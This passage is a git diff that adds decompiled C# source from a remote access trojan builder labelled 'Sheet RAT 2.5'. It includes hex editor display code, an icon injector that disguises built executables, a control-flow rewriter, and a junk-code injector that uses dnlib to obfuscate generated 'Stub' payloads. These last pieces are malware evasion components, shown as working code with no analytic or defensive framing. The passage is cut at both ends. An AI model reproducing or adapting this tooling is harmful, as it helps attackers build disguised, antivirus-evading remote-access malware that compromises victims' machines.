this._editor.BytesPerLine; + } + this._editor.SetCaretStart(Math.Min(this._editor.LastVisibleByte, this._editor.FirstVisibleByte + num4 + num6 * this._editor.BytesPerLine), new Point(num4 * (int) this._editor.CharSize.Width + this._recStringView.X, num6 * this._recStringView.Height + this._recStringView.Y)); + } + + public void OnMouseDragged(int x, int y) + { + int num1 = (x - this._recStringView.X) / (int) this._editor.CharSize.Width; + int num2 = (y - this._recStringView.Y) / this._recStringView.Height; + int num3 = num1 > this._editor.BytesPerLine ? this._editor.BytesPerLine : num1; + int num4 = num3 < 0 ? 0 : num3; + int num5 = num2 > this._editor.MaxBytesV ? this._editor.MaxBytesV : num2; + int num6 = this._editor.FirstVisibleByte <= 0 ? (num5 < 0 ? 0 : num5) : (num5 < 0 ? -1 : num5); + if ((this._editor.LastVisibleByte - this._editor.FirstVisibleByte) / this._editor.BytesPerLine <= num6) + { + if ((this._editor.LastVisibleByte - this._editor.FirstVisibleByte) % this._editor.BytesPerLine <= num4) + num4 = (this._editor.LastVisibleByte - this._editor.FirstVisibleByte) % this._editor.BytesPerLine; + num6 = (this._editor.LastVisibleByte - this._editor.FirstVisibleByte) / this._editor.BytesPerLine; + } + this._editor.SetCaretEnd(Math.Min(this._editor.LastVisibleByte, this._editor.FirstVisibleByte + num4 + num6 * this._editor.BytesPerLine), new Point(num4 * (int) this._editor.CharSize.Width + this._recStringView.X, num6 * this._recStringView.Height + this._recStringView.Y)); + } + + public void OnMouseDoubleClick() + { + if (this._editor.CaretIndex >= this._editor.LastVisibleByte) + return; + int index = this._editor.CaretIndex + 1; + Point caretLocation = this.GetCaretLocation(index); + this._editor.SetCaretEnd(index, caretLocation); + } + + public void Focus() + { + int caretIndex = this._editor.CaretIndex; + Point caretLocation = this.GetCaretLocation(caretIndex); + this._editor.SetCaretStart(caretIndex, caretLocation); + } + + public void Update(int startPositionX, Rectangle area) + { + int x = startPositionX; + int y = area.Y; + SizeF charSize = this._editor.CharSize; + int width = (int) ((double) charSize.Width * (double) this._editor.BytesPerLine); + charSize = this._editor.CharSize; + int height = (int) charSize.Height - 2; + this._recStringView = new Rectangle(x, y, width, height); + this._recStringView.X += this._editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point byteColumnAndRow = this.GetByteColumnAndRow(index); + if (this._editor.IsSelected(index + startIndex)) + this.PaintByteAsSelected(g, byteColumnAndRow, index + startIndex); + else + this.PaintByte(g, byteColumnAndRow, index + startIndex); + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush solidBrush1 = new SolidBrush(this._editor.SelectionBackColor); + SolidBrush solidBrush2 = new SolidBrush(this._editor.SelectionForeColor); + RectangleF bound = this.GetBound(point); + char byteAsChar = this._editor.GetByteAsChar(index); + string s = char.IsControl(byteAsChar) ? "." : byteAsChar.ToString(); + g.FillRectangle((Brush) solidBrush1, bound); + g.DrawString(s, this._editor.Font, (Brush) solidBrush2, bound, this._stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush solidBrush = new SolidBrush(this._editor.ForeColor); + RectangleF bound = this.GetBound(point); + char byteAsChar = this._editor.GetByteAsChar(index); + string s = char.IsControl(byteAsChar) ? "." : byteAsChar.ToString(); + g.DrawString(s, this._editor.Font, (Brush) solidBrush, bound, this._stringFormat); + } + + private Point GetCaretLocation(int index) + { + return new Point(this._recStringView.X + (int) this._editor.CharSize.Width * (index % this._editor.BytesPerLine), this._recStringView.Y + this._recStringView.Height * ((index - (this._editor.FirstVisibleByte + index % this._editor.BytesPerLine)) / this._editor.BytesPerLine)); + } + + private void HandleUserRemove() + { + int selectionStart = this._editor.SelectionStart; + Point caretLocation = this.GetCaretLocation(selectionStart); + this._editor.RemoveSelectedBytes(); + this._editor.SetCaretStart(selectionStart, caretLocation); + } + + private void HandleUserInput(char key) + { + if (!this._editor.CaretFocused) + return; + this.HandleUserRemove(); + byte num = Convert.ToByte(key); + if (this._editor.HexTableLength <= 0) + this._editor.AppendByte(num); + else + this._editor.InsertByte(this._editor.CaretIndex, num); + int index = this._editor.CaretIndex + 1; + Point caretLocation = this.GetCaretLocation(index); + this._editor.SetCaretStart(index, caretLocation); + } + + private Point GetByteColumnAndRow(int index) + { + return new Point(index % this._editor.BytesPerLine, index / this._editor.BytesPerLine); + } + + private RectangleF GetBound(Point point) + { + return new RectangleF((float) (this._recStringView.X + point.X * (int) this._editor.CharSize.Width), (float) (this._recStringView.Y + point.Y * this._recStringView.Height), this._editor.CharSize.Width, (float) this._recStringView.Height); + } +} +} diff --git a/Server/Server/Helper/IconInjector.cs b/Server/Server/Helper/IconInjector.cs new file mode 100644 index 0000000..18408dc --- /dev/null +++ b/Server/Server/Helper/IconInjector.cs @@ -0,0 +1,171 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.IconInjector +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.IO; +using System.Runtime.InteropServices; +using System.Security; + +//#nullable disable +namespace Server.Helper { + +public static class IconInjector +{ + public static void InjectIcon(string exeFileName, string iconFileName) + { + IconInjector.InjectIcon(exeFileName, iconFileName, 1U, 1U); + } + + public static void InjectIcon( + string exeFileName, + string iconFileName, + uint iconGroupID, + uint iconBaseID) + { + IconInjector.IconFile iconFile = IconInjector.IconFile.FromFile(iconFileName); + IntPtr hUpdate = IconInjector.NativeMethods.BeginUpdateResource(exeFileName, false); + byte[] iconGroupData = iconFile.CreateIconGroupData(iconBaseID); + IconInjector.NativeMethods.UpdateResource(hUpdate, new IntPtr(14L), new IntPtr((long) iconGroupID), (short) 0, iconGroupData, iconGroupData.Length); + for (int index = 0; index <= iconFile.ImageCount - 1; ++index) + { + byte[] data = iconFile.ImageData(index); + IconInjector.NativeMethods.UpdateResource(hUpdate, new IntPtr(3L), new IntPtr((long) iconBaseID + (long) index), (short) 0, data, data.Length); + } + IconInjector.NativeMethods.EndUpdateResource(hUpdate, false); + } + + [SuppressUnmanagedCodeSecurity] + private class NativeMethods + { + [DllImport("kernel32")] + public static extern IntPtr BeginUpdateResource(string fileName, [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources); + + [DllImport("kernel32")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool UpdateResource( + IntPtr hUpdate, + IntPtr type, + IntPtr name, + short language, + [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, + int dataSize); + + [DllImport("kernel32")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard); + } + + private struct ICONDIR + { + public ushort Reserved; + public ushort Type; + public ushort Count; + } + + private struct ICONDIRENTRY + { + public byte Width; + public byte Height; + public byte ColorCount; + public byte Reserved; + public ushort Planes; + public ushort BitCount; + public int BytesInRes; + public int ImageOffset; + } + + private struct BITMAPINFOHEADER + { + public uint Size; + public int Width; + public int Height; + public ushort Planes; + public ushort BitCount; + public uint Compression; + public uint SizeImage; + public int XPelsPerMeter; + public int YPelsPerMeter; + public uint ClrUsed; + public uint ClrImportant; + } + + [StructLayout(LayoutKind.Sequential, Pack = 2)] + private struct GRPICONDIRENTRY + { + public byte Width; + public byte Height; + public byte ColorCount; + public byte Reserved; + public ushort Planes; + public ushort BitCount; + public int BytesInRes; + public ushort ID; + } + + private class IconFile + { + private IconInjector.ICONDIR iconDir; + private IconInjector.ICONDIRENTRY[] iconEntry; + private byte[][] iconImage; + + public int ImageCount => (int) this.iconDir.Count; + + public byte[] ImageData(int index) => this.iconImage[index]; + + public static IconInjector.IconFile FromFile(string filename) + { + IconInjector.IconFile iconFile = new IconInjector.IconFile(); + byte[] src = File.ReadAllBytes(filename); + GCHandle gcHandle = GCHandle.Alloc((object) src, GCHandleType.Pinned); + iconFile.iconDir = (IconInjector.ICONDIR) Marshal.PtrToStructure(gcHandle.AddrOfPinnedObject(), typeof (IconInjector.ICONDIR)); + iconFile.iconEntry = new IconInjector.ICONDIRENTRY[(int) iconFile.iconDir.Count]; + iconFile.iconImage = new byte[(int) iconFile.iconDir.Count][]; + int num1 = Marshal.SizeOf(iconFile.iconDir); + Type type = typeof (IconInjector.ICONDIRENTRY); + int num2 = Marshal.SizeOf(type); + for (int index = 0; index <= (int) iconFile.iconDir.Count - 1; ++index) + { + IconInjector.ICONDIRENTRY structure = (IconInjector.ICONDIRENTRY) Marshal.PtrToStructure(new IntPtr(gcHandle.AddrOfPinnedObject().ToInt64() + (long) num1), type); + iconFile.iconEntry[index] = structure; + iconFile.iconImage[index] = new byte[structure.BytesInRes]; + Buffer.BlockCopy((Array) src, structure.ImageOffset, (Array) iconFile.iconImage[index], 0, structure.BytesInRes); + num1 += num2; + } + gcHandle.Free(); + return iconFile; + } + + public byte[] CreateIconGroupData(uint iconBaseID) + { + byte[] iconGroupData = new byte[Marshal.SizeOf(typeof (IconInjector.ICONDIR)) + Marshal.SizeOf(typeof (IconInjector.GRPICONDIRENTRY)) * this.ImageCount]; + GCHandle gcHandle1 = GCHandle.Alloc((object) iconGroupData, GCHandleType.Pinned); + Marshal.StructureToPtr(this.iconDir, gcHandle1.AddrOfPinnedObject(), false); + int num = Marshal.SizeOf(this.iconDir); + for (int index = 0; index <= this.ImageCount - 1; ++index) + { + IconInjector.GRPICONDIRENTRY structure = new IconInjector.GRPICONDIRENTRY(); + IconInjector.BITMAPINFOHEADER bitmapinfoheader = new IconInjector.BITMAPINFOHEADER(); + GCHandle gcHandle2 = GCHandle.Alloc((object) bitmapinfoheader, GCHandleType.Pinned); + Marshal.Copy(this.ImageData(index), 0, gcHandle2.AddrOfPinnedObject(), Marshal.SizeOf(typeof (IconInjector.BITMAPINFOHEADER))); + gcHandle2.Free(); + structure.Width = this.iconEntry[index].Width; + structure.Height = this.iconEntry[index].Height; + structure.ColorCount = this.iconEntry[index].ColorCount; + structure.Reserved = this.iconEntry[index].Reserved; + structure.Planes = bitmapinfoheader.Planes; + structure.BitCount = bitmapinfoheader.BitCount; + structure.BytesInRes = this.iconEntry[index].BytesInRes; + structure.ID = Convert.ToUInt16((long) iconBaseID + (long) index); + Marshal.StructureToPtr(structure, new IntPtr(gcHandle1.AddrOfPinnedObject().ToInt64() + (long) num), false); + num += Marshal.SizeOf(typeof (IconInjector.GRPICONDIRENTRY)); + } + gcHandle1.Free(); + return iconGroupData; + } + } +} +} diff --git a/Server/Server/Helper/JumpCtrlFlow.cs b/Server/Server/Helper/JumpCtrlFlow.cs new file mode 100644 index 0000000..f132bb5 --- /dev/null +++ b/Server/Server/Helper/JumpCtrlFlow.cs @@ -0,0 +1,207 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.JumpCtrlFlow +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +//#nullable disable +namespace Server.Helper { + +internal class JumpCtrlFlow +{ + private static Random random = new Random(); + + private static string getRandomCharacters(int count) + { + StringBuilder stringBuilder = new StringBuilder(); + for (int index1 = 1; index1 <= count; ++index1) + { + int index2 = JumpCtrlFlow.random.Next(0, "asdfghjklqwertyuiopmnbvcxz".Length); + stringBuilder.Append("asdfghjklqwertyuiopmnbvcxz"[index2]); + } + return stringBuilder.ToString(); + } + + private static TypeDef CreateNewClass(TypeDef typem) + { + TypeDefUser newClass = new TypeDefUser((UTF8String) string.Format("{0}_{1}", typem.Name, JumpCtrlFlow.getRandomCharacters(10))); + newClass.Attributes = TypeAttributes.Public | TypeAttributes.BeforeFieldInit; + newClass.Namespace = typem.Namespace; + newClass.IsClass = true; + return (TypeDef) newClass; + } + + private static MethodDef ctor(ModuleDef module) + { + MethodDefUser methodDefUser = new MethodDefUser((UTF8String) ".ctor", MethodSig.CreateInstance((TypeSig) module.CorLibTypes.Void), MethodImplAttributes.IL, MethodAttributes.Public | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName); + MemberRefUser mr = new MemberRefUser(module, (UTF8String) ".ctor", MethodSig.CreateInstance((TypeSig) module.CorLibTypes.Void), (IMemberRefParent) module.CorLibTypes.Object.TypeDefOrRef); + methodDefUser.Body = new CilBody(); + methodDefUser.Body.Instructions.Add(OpCodes.Ldarg_0.ToInstruction()); + methodDefUser.Body.Instructions.Add(OpCodes.Call.ToInstruction((MemberRef) mr)); + methodDefUser.Body.Instructions.Add(OpCodes.Nop.ToInstruction()); + methodDefUser.Body.Instructions.Add(OpCodes.Ret.ToInstruction()); + return (MethodDef) methodDefUser; + } + + private static bool Analys(ModuleDef module, MethodDef method) + { + if (method.Name == "GetFiltes" || method.FullName.ToLower().Contains("get_") || method.FullName.ToLower().Contains("get_") || method.FullName.ToLower().Contains("screenshot") || method.FullName.ToLower().Contains("<>") || !method.Attributes.ToString().Contains("Static") || method.FullName.ToLower().Contains("") || method.FullName.ToLower().Contains("block") || method.FullName.Contains("StartAsBypass") || method.Attributes.ToString().ToLower().Contains("pinvokeimpl") || method.IsConstructor || method.IsSpecialName) + return false; + if (method.Attributes.ToString().Replace("PrivateScope", "").Contains("Private")) + method.Attributes = MethodAttributes.Public | MethodAttributes.Static; + for (int index = 0; index < method.Body.Instructions.Count(); ++index) + { + if (method.Body.Instructions[index].OpCode == OpCodes.Call && method.Body.Instructions[index].Operand is MethodDef) + { + MethodAttributes attributes = ((MethodDef) method.Body.Instructions[index].Operand).Attributes; + if (attributes.ToString().Contains("Private") || !attributes.ToString().Contains("Static")) + return false; + } + else if (method.Body.Instructions[index].OpCode == OpCodes.Ldsfld && method.Body.Instructions[index].Operand is FieldDef) + { + FieldAttributes attributes = ((FieldDef) method.Body.Instructions[index].Operand).Attributes; + if (attributes.ToString().Contains("Private") || !attributes.ToString().Contains("Static")) + return false; + } + } + return true; + } + + private static void ReplaceFunction(ModuleDef module, MethodDef replaced, MethodDef main) + { + foreach (TypeDef typeDef in (IEnumerable) module.Types.ToArray()) + { + foreach (MethodDef method in (IEnumerable) typeDef.Methods) + { + if (method.Body != null) + { + for (int index = 0; index < method.Body.Instructions.Count(); ++index) + { + if ((method.Body.Instructions[index].OpCode == OpCodes.Call || method.Body.Instructions[index].OpCode == OpCodes.Ldftn) && method.Body.Instructions[index].Operand == replaced) + method.Body.Instructions[index].Operand = (object) main; + } + } + } + } + } + + public static MethodAttributes RandomMethodAttributes() + { + MethodAttributes methodAttributes = MethodAttributes.Private; + switch (JumpCtrlFlow.random.Next(0, 2)) + { + case 0: + methodAttributes = MethodAttributes.Public; + break; + case 1: + methodAttributes = MethodAttributes.Private; + break; + } + return methodAttributes | MethodAttributes.Static | MethodAttributes.HideBySig | MethodAttributes.PrivateScope; + } + + public static FieldAttributes RandomFieldAttributes() + { + FieldAttributes fieldAttributes = FieldAttributes.Private; + switch (JunkCodeInjector.random.Next(0, 3)) + { + case 0: + fieldAttributes = FieldAttributes.Public; + break; + case 1: + fieldAttributes = FieldAttributes.Private; + break; + case 2: + fieldAttributes = FieldAttributes.Literal; + break; + } + return fieldAttributes | FieldAttributes.Static; + } + + public static void Execute(ModuleDef module) + { + List methodDefList1 = new List(); + foreach (TypeDef typem in (IEnumerable) module.Types.ToArray()) + { + foreach (MethodDef method in (IEnumerable) typem.Methods) + { + if (method.Body != null && method.Name != "Main" && method.Name != ".ctor" && method.Name != ".cctor" && JumpCtrlFlow.Analys(module, method)) + { + TypeDef newClass = JumpCtrlFlow.CreateNewClass(typem); + newClass.BaseType = typem.BaseType; + MethodDefUser main = new MethodDefUser(method.Name, method.MethodSig, method.ImplAttributes, MethodAttributes.Public | MethodAttributes.Static); + main.Body = method.Body; + bool flag = false; + List methodDefList2 = new List(); + for (int index1 = 0; index1 < JumpCtrlFlow.random.Next(6, 8); ++index1) + { + for (int index2 = 0; index2 < JumpCtrlFlow.random.Next(0, 2); ++index2) + { + MethodDefUser methodDefUser = JunkCodeInjector.MethodGenerator(module, JunkCodeInjector.GeneratorBody(module, "Void"), JumpCtrlFlow.RandomMethodAttributes()); + methodDefList2.Add((MethodDef) methodDefUser); + newClass.Methods.Add((MethodDef) methodDefUser); + } + for (int index3 = 0; index3 < JumpCtrlFlow.random.Next(0, 2); ++index3) + newClass.Methods.Add((MethodDef) JunkCodeInjector.GetIntFunction(module, JunkCodeInjector.GeneratorBody(module, "Int32"), JumpCtrlFlow.RandomMethodAttributes())); + for (int index4 = 0; index4 < JumpCtrlFlow.random.Next(0, 2); ++index4) + newClass.Methods.Add((MethodDef) JunkCodeInjector.GetStringFunction(module, JunkCodeInjector.GeneratorBody(module, "String"), JumpCtrlFlow.RandomMethodAttributes())); + for (int index5 = 0; index5 < JumpCtrlFlow.random.Next(0, 2); ++index5) + newClass.Fields.Add(JunkCodeInjector.CreateBool(module, JumpCtrlFlow.RandomFieldAttributes())); + for (int index6 = 0; index6 < JumpCtrlFlow.random.Next(0, 2); ++index6) + newClass.Fields.Add(JunkCodeInjector.CreateInt64(module, JumpCtrlFlow.RandomFieldAttributes())); + for (int index7 = 0; index7 < JumpCtrlFlow.random.Next(0, 2); ++index7) + newClass.Fields.Add(JunkCodeInjector.CreateString(module, JumpCtrlFlow.RandomFieldAttributes())); + if (!flag && JumpCtrlFlow.random.Next(3) == 0) + { + newClass.Methods.Add((MethodDef) main); + newClass.Methods.Add(JumpCtrlFlow.ctor(module)); + module.Types.Add(newClass); + JumpCtrlFlow.ReplaceFunction(module, method, (MethodDef) main); + methodDefList1.Add(method); + flag = true; + } + } + if (!flag) + { + newClass.Methods.Add((MethodDef) main); + newClass.Methods.Add(JumpCtrlFlow.ctor(module)); + module.Types.Add(newClass); + JumpCtrlFlow.ReplaceFunction(module, method, (MethodDef) main); + methodDefList1.Add(method); + } + for (int index = 0; index < methodDefList2.Count; ++index) + { + MethodDef methodDef1 = methodDefList2[index]; + MethodDef methodDef2 = methodDefList2[JumpCtrlFlow.random.Next(methodDefList2.Count)]; + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Call, (IMethod) methodDef2)); + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); + } + methodDefList2.Clear(); + } + } + } + foreach (MethodDef methodDef in methodDefList1) + { + foreach (TypeDef type in (IEnumerable) module.Types) + { + if (type.Methods.Contains(methodDef)) + { + type.Methods.Remove(methodDef); + break; + } + } + } + methodDefList1.Clear(); + } +} +} + + diff --git a/Server/Server/Helper/JunkCodeInjector.cs b/Server/Server/Helper/JunkCodeInjector.cs new file mode 100644 index 0000000..3c0e76d --- /dev/null +++ b/Server/Server/Helper/JunkCodeInjector.cs @@ -0,0 +1,274 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.JunkCodeInjector +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace Server.Helper { + +internal class JunkCodeInjector +{ + public static Random random = new Random(); + private const string Ascii = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + private const string number = "1234567890"; + public static List AllVoid = new List(); + + private static string getRandomCharacters(int length) + { + char ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[JunkCodeInjector.random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".Length)]; + char[] array = Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890", length - 1).Select((Func) (s => s[JunkCodeInjector.random.Next(s.Length)])).ToArray(); + return ch.ToString() + new string(array); + } + + public static MethodDefUser MethodGenerator( + ModuleDef module, + CilBody instr, + MethodAttributes attributes) + { + MethodImplAttributes implFlags = MethodImplAttributes.IL; + MethodDefUser methodDefUser = new MethodDefUser((UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/)), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Void), implFlags, attributes); + methodDefUser.Body = instr; + return methodDefUser; + } + + public static MethodDefUser GetStringFunction( + ModuleDef module, + CilBody cilBody, + MethodAttributes attributes) + { + MethodImplAttributes implFlags = MethodImplAttributes.IL; + MethodDefUser stringFunction = new MethodDefUser((UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/)), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.String), implFlags, attributes); + stringFunction.Body = cilBody; + return stringFunction; + } + + public static MethodDefUser GetIntFunction( + ModuleDef module, + CilBody instr, + MethodAttributes attributes) + { + MethodImplAttributes implFlags = MethodImplAttributes.IL; + MethodDefUser intFunction = new MethodDefUser((UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/)), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Int32), implFlags, attributes); + intFunction.Body = instr; + return intFunction; + } + + public static MethodDefUser GetLongFunction( + ModuleDef module, + CilBody instr, + MethodAttributes attributes) + { + MethodImplAttributes implFlags = MethodImplAttributes.IL; + MethodDefUser longFunction = new MethodDefUser((UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/)), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Int64), implFlags, attributes); + longFunction.Body = instr; + return longFunction; + } + + public static FieldDef CreateString(ModuleDef module, FieldAttributes attributes) + { + FieldSig signature = new FieldSig((TypeSig) module.CorLibTypes.String); + return (FieldDef) new FieldDefUser((UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/)), signature, attributes); + } + + public static FieldDef CreateInt32(ModuleDef module, FieldAttributes attributes) + { + FieldSig signature = new FieldSig((TypeSig) module.CorLibTypes.Int32); + return (FieldDef) new FieldDefUser((UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/)), signature, attributes); + } + + public static FieldDef CreateInt64(ModuleDef module, FieldAttributes attributes) + { + FieldSig signature = new FieldSig((TypeSig) module.CorLibTypes.Int64); + return (FieldDef) new FieldDefUser((UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/)), signature, attributes); + } + + public static FieldDef CreateBool(ModuleDef module, FieldAttributes attributes) + { + FieldSig signature = new FieldSig((TypeSig) module.CorLibTypes.Boolean); + return (FieldDef) new FieldDefUser((UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/)), signature, attributes); + } + + public static TypeDef CreateNewClass() + { + TypeDefUser newClass = new TypeDefUser((UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/))); + newClass.Attributes = TypeAttributes.Abstract | TypeAttributes.BeforeFieldInit; + newClass.Namespace = (UTF8String) JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(10, 16 /*0x10*/)); + return (TypeDef) newClass; + } + + public static MethodDef cctor(ModuleDef module) + { + return (MethodDef) new MethodDefUser((UTF8String) ".cctor", MethodSig.CreateInstance((TypeSig) module.CorLibTypes.Void), MethodImplAttributes.IL, MethodAttributes.Private | MethodAttributes.Static | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName); + } + + public static MethodDef ctor(ModuleDef module) + { + return (MethodDef) new MethodDefUser((UTF8String) ".ctor", MethodSig.CreateInstance((TypeSig) module.CorLibTypes.Void), MethodImplAttributes.IL, MethodAttributes.Public | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName); + } + + public static FieldAttributes RandomFieldAttributes(bool Static) + { + FieldAttributes fieldAttributes = FieldAttributes.Private; + switch (JunkCodeInjector.random.Next(0, 3)) + { + case 0: + fieldAttributes = FieldAttributes.Public; + break; + case 1: + fieldAttributes = FieldAttributes.Private; + break; + case 2: + fieldAttributes = FieldAttributes.Literal; + break; + } + if (Static) + fieldAttributes |= FieldAttributes.Static; + return fieldAttributes; + } + + public static MethodAttributes RandomMethodAttributes(bool Static) + { + MethodAttributes methodAttributes = MethodAttributes.Private; + switch (JunkCodeInjector.random.Next(0, 3)) + { + case 0: + methodAttributes = MethodAttributes.Public; + break; + case 1: + methodAttributes = MethodAttributes.Private; + break; + case 2: + methodAttributes = MethodAttributes.Virtual; + break; + } + if (Static) + methodAttributes |= MethodAttributes.Static; + return methodAttributes | MethodAttributes.HideBySig | MethodAttributes.PrivateScope; + } + + public static CilBody GeneratorBody(ModuleDef module, string TypeMethod) + { + CilBody cilBody = new CilBody(); + if (TypeMethod == "String") + { + cilBody.Instructions.Add(Instruction.Create(OpCodes.Nop)); + cilBody.Variables.Add(new Local((TypeSig) module.CorLibTypes.String, JunkCodeInjector.getRandomCharacters(12))); + cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldstr, JunkCodeInjector.getRandomCharacters(JunkCodeInjector.random.Next(4, 14)))); + cilBody.Instructions.Add(Instruction.Create(OpCodes.Stloc_0)); + cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0)); + } + if (TypeMethod == "Int32") + { + cilBody.Instructions.Add(Instruction.Create(OpCodes.Nop)); + cilBody.Variables.Add(new Local((TypeSig) module.CorLibTypes.Int32, JunkCodeInjector.getRandomCharacters(12))); + cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, JunkCodeInjector.random.Next(int.MinValue, int.MaxValue))); + cilBody.Instructions.Add(Instruction.Create(OpCodes.Stloc_0)); + cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0)); + } + if (TypeMethod == "Int64") + { + cilBody.Instructions.Add(Instruction.Create(OpCodes.Nop)); + cilBody.Variables.Add(new Local((TypeSig) module.CorLibTypes.Int64, JunkCodeInjector.getRandomCharacters(12))); + cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, JunkCodeInjector.random.Next(int.MinValue, int.MaxValue))); + cilBody.Instructions.Add(Instruction.Create(OpCodes.Stloc_0)); + cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0)); + } + if (TypeMethod != "Void") + cilBody.Instructions.Add(Instruction.Create(OpCodes.Ret)); + return cilBody; + } + + public static void Inject(ModuleDef module, int Amount) + { + for (int index1 = 0; index1 < Amount; ++index1) + { + TypeDef newClass = JunkCodeInjector.CreateNewClass(); + bool Static = false; + MethodDef methodDef1; + if (JunkCodeInjector.random.Next(0, 3) == 1) + { + Static = true; + methodDef1 = JunkCodeInjector.cctor(module); + } + else + methodDef1 = JunkCodeInjector.ctor(module); + if (JunkCodeInjector.random.Next(0, 8) == 1) + newClass.Namespace = JunkCodeInjector.random.Next(0, 2) != 1 ? (UTF8String) "Stub.Helper" : (UTF8String) "Stub"; + for (int index2 = 0; index2 < 4; ++index2) + { + for (int index3 = 0; index3 < JunkCodeInjector.random.Next(0, 2); ++index3) + { + MethodDef methodDef2 = (MethodDef) JunkCodeInjector.MethodGenerator(module, JunkCodeInjector.GeneratorBody(module, "Void"), JunkCodeInjector.RandomMethodAttributes(Static)); + if (Static) + JunkCodeInjector.AllVoid.Add(methodDef2); + newClass.Methods.Add(methodDef2); + } + for (int index4 = 0; index4 < JunkCodeInjector.random.Next(0, 2); ++index4) + newClass.Fields.Add(JunkCodeInjector.CreateInt32(module, JunkCodeInjector.RandomFieldAttributes(Static))); + for (int index5 = 0; index5 < JunkCodeInjector.random.Next(0, 2); ++index5) + newClass.Methods.Add((MethodDef) JunkCodeInjector.GetIntFunction(module, JunkCodeInjector.GeneratorBody(module, "Int32"), JunkCodeInjector.RandomMethodAttributes(Static))); + for (int index6 = 0; index6 < JunkCodeInjector.random.Next(0, 2); ++index6) + newClass.Fields.Add(JunkCodeInjector.CreateString(module, JunkCodeInjector.RandomFieldAttributes(Static))); + for (int index7 = 0; index7 < JunkCodeInjector.random.Next(0, 2); ++index7) + newClass.Fields.Add(JunkCodeInjector.CreateInt64(module, JunkCodeInjector.RandomFieldAttributes(Static))); + for (int index8 = 0; index8 < JunkCodeInjector.random.Next(0, 2); ++index8) + newClass.Fields.Add(JunkCodeInjector.CreateBool(module, JunkCodeInjector.RandomFieldAttributes(Static))); + for (int index9 = 0; index9 < JunkCodeInjector.random.Next(0, 2); ++index9) + newClass.Methods.Add((MethodDef) JunkCodeInjector.GetStringFunction(module, JunkCodeInjector.GeneratorBody(module, "String"), JunkCodeInjector.RandomMethodAttributes(Static))); + } + newClass.Methods.Add(methodDef1); + methodDef1.Body = new CilBody(); + if (!Static) + { + MemberRefUser mr = new MemberRefUser(module, (UTF8String) ".ctor", MethodSig.CreateInstance((TypeSig) module.CorLibTypes.Void), (IMemberRefParent) module.CorLibTypes.Object.TypeDefOrRef); + methodDef1.Body.Instructions.Add(OpCodes.Ldarg_0.ToInstruction()); + methodDef1.Body.Instructions.Add(OpCodes.Call.ToInstruction((MemberRef) mr)); + } + foreach (FieldDef field in (IEnumerable) newClass.Fields) + { + if (field.FieldType.TypeName == "Boolean") + { + if (JunkCodeInjector.random.Next(0, 2) == 1) + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_1)); + else + 